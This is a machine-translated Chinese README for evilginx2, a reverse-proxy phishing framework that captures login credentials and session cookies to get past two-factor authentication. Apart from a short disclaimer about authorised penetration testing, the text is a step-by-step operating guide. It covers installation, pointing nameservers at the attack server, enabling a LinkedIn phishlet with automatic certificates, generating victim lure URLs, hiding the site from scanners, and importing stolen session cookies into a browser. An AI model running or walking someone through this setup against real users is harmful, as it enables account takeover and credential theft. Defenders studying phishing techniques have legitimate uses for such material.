evilginx2是一个中间人攻击框架,用于网络钓鱼登录凭据以及会话cookie,从而允许绕过双因素身份验证保护。
该工具是2017年发布的Evilginx的后继产品,它使用自定义版本的nginx HTTP服务器提供中间人功能,作为浏览器和网络钓鱼网站之间的代理。当前版本完全用GO作为独立应用程序编写,它实现了自己的HTTP和DNS服务器,使其易于设置和使用。
放弃
我非常清楚Evilginx可以用于恶意目的。这项工作仅仅证明了娴熟的攻击者可以做些什么。防御者有责任考虑此类攻击并找到保护其用户免受此类网络钓鱼攻击的方法。Evilginx只应在合法渗透测试任务中使用,并获得待破坏方的书面许可。
视频
在这里看到evilginx2:
写上去
如果您想了解有关此网络钓鱼技术的更多信息,我在这里发布了一篇关于evilginx2的博文:
https://breakdev.org/evilginx-2-next-generation-of-phishing-2fa-tokens
Phishlet Masters - 名人堂
请感谢以下贡献者投入宝贵时间为我们提供新鲜的小虾!(按照第一次捐款的顺序)
@ cust0msync - 亚马逊,Reddit
@white_fi - Twitter
rvrsh3ll @ 424f424f - Citrix
audibleblink @ 4lex - GitHub
@JamesCullum - Office 365
安装
您可以为您的体系结构使用预编译的二进制包,也可以从源代码编译evilginx2。
您将需要一个外部服务器,您将在其中托管您的evilginx2安装。我个人推荐Digital Ocean,如果你按照我的推荐链接,你将获得额外的10美元免费在服务器上花费。
Evilginx在最基本的Debian 8 VPS上运行得非常好。
从源代码安装
要从源代码编译,请确保已安装版本至少为1.10.0的GO(从此处获取)并且该环境变量已正确设置(def。)。$GOPATH
$HOME/go
安装完毕后,将它添加到你的~/.profile
,假设你安装GO在/usr/local/go
:
export GOPATH=$HOME/go export PATH=$PATH:/usr/local/go/bin:$GOPATH/bin
然后加载它source ~/.profiles
。
现在你应该准备安装evilginx2了。请遵循以下说明:
sudo apt-get install git make go get -u github.com/kgretzky/evilginx2 cd $GOPATH/src/github.com/kgretzky/evilginx2 make
您现在可以从本地目录运行evilginx2,如:
sudo ./bin/evilginx -p ./phishlets/
或全局安装:
sudo make install sudo evilginx
上面的说明也可用于将evilginx2更新到最新版本。
使用Docker安装
您可以从Docker中启动evilginx2。首先构建容器:
docker build . -t evilginx2
然后你可以运行容器:
docker run -it -p 53:53/udp -p 80:80 -p 443:443 evilginx2
Phishlets装在容器内/app/phishlets
,可以作为配置安装。
从预编译的二进制包安装
从这里抓住你想要的包裹,然后将它放在你的盒子上。然后做:
unzip .zip -d cd
如果要进行系统范围的安装,请使用具有root权限的安装脚本:
chmod 700 ./install.sh sudo ./install.sh sudo evilginx
或者只是从当前目录启动evilginx2(您还需要root权限):
chmod 700 ./evilginx sudo ./evilginx
用法
重要!确保端口上没有服务侦听TCP 443
,TCP 80
并且UDP 53
。您可能需要关闭apache或nginx以及用于解析可能正在运行的DNS的任何服务。如果无法在任何这些端口上打开侦听套接字,evilginx2将在启动时告诉您。
默认情况下,evilginx2将在./phishlets/
目录中以及稍后的目录中查找网络钓鱼/usr/share/evilginx/phishlets/
。如果要指定从中加载网络钓鱼的自定义路径,请-p
在启动工具时使用该参数。
Usage of ./evilginx: -debug Enable debug output -developer Enable developer mode (generates self-signed certificates for all hostnames) -p string Phishlets directory path
您应该看到evilginx2徽标,并提示输入命令。键入help
或help
是否要查看可用命令或有关它们的更多详细信息。
入门
要启动并运行,您需要先进行一些设置。
此时我假设您已经注册了一个域名(让我们称之为yourdomain.com
),您在域名提供商的管理面板中设置名称服务器(两者ns1
和ns2
)以指向服务器的IP(例如10.0.0.1):
ns1.yourdomain.com = 10.0.0.1 ns2.yourdomain.com = 10.0.0.1
使用以下命令设置服务器的域和IP:
config domain yourdomain.com config ip 10.0.0.1
现在您可以设置要使用的网络钓鱼。为了这个简短的指南,我们将使用LinkedIn网络钓鱼。设置网络钓鱼的主机名(显然必须包含您的域名):
phishlets hostname linkedin my.phishing.hostname.yourdomain.com
现在你可以enable
使用phishlet,它会启动LetsEncrypt SSL / TLS证书的自动检索,如果你在本地找不到你选择的主机名:
phishlets enable linkedin
您的网上诱骗网站现已上线。想想URL,您希望受害者在成功登录时被重定向到并获得这样的网络钓鱼URL(受害者将被重定向到https://www.google.com
):
phishlets get-url linkedin https://www.google.com
运行phishlets只响应标记化链接,所以谁扫描您的主域的任何扫描仪将被重定向到URL指定为redirect_url
下config
。如果要隐藏您的网络钓鱼并使其甚至不响应有效的标记化网络钓鱼URL,请使用phishlet hide/unhide
命令。
您可以使用以下方式监控捕获的凭据和会话cookie
sessions
要获取有关捕获的会话的详细信息,请使用会话cookie本身(将在底部以JSON格式打印),选择其会话ID:
sessions
可以使用EditThisCookie扩展名将已捕获的会话Cookie复制并导入Chrome浏览器。
重要!如果您希望evilginx2在从服务器注销后继续运行,则应在screen
会话中运行它。